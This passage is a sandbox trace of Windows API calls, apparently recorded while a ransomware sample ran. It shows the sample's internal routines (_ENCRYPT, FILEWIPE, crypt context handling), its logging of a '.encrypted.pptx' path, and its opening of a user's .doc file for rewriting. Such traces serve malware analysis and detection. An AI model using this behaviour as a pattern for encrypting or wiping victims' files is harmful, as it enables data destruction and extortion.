lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.266] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.266] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.267] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.267] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.267] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.270] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.270] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.270] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.270] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.270] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.270] CharLowerBuffW (in: lpsz="byte[98109]", cchLength=0xb | out: lpsz="byte[98109]") returned 0xb [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.272] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.272] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.272] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.273] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.273] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.273] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.273] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.273] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.274] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.274] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.274] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.275] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.275] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3065) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.275] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xbf9, lpOverlapped=0x0) returned 1 [0024.275] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xbf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.275] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3065) returned 1 [0024.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\n", cchWideChar=92, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 92 [0024.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\n", cchWideChar=92, lpMultiByteStr=0xe8f4062330, cbMultiByte=92, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 92 [0024.276] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4062790*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062790*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5b, lpOverlapped=0x0) returned 1 [0024.276] CloseHandle (hObject=0x188) returned 1 [0024.277] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.277] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.277] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.277] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.277] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.277] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.277] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.278] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.278] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178980, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.279] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.279] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0024.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc", cchWideChar=74, lpMultiByteStr=0xe8f4069cb0, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc", lpUsedDefaultChar=0x0) returned 74 [0024.279] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\u9ofxvyam-srgnq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0024.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=74, lpWideCharStr=0xe8f4060c60, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.doc") returned 74 [0024.280] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.280] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.280] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.280] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.280] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.281] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.281] CloseHandle (hObject=0x188) returned 1 [0024.281] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.281] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.281] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.281] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.281] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.282] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.282] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 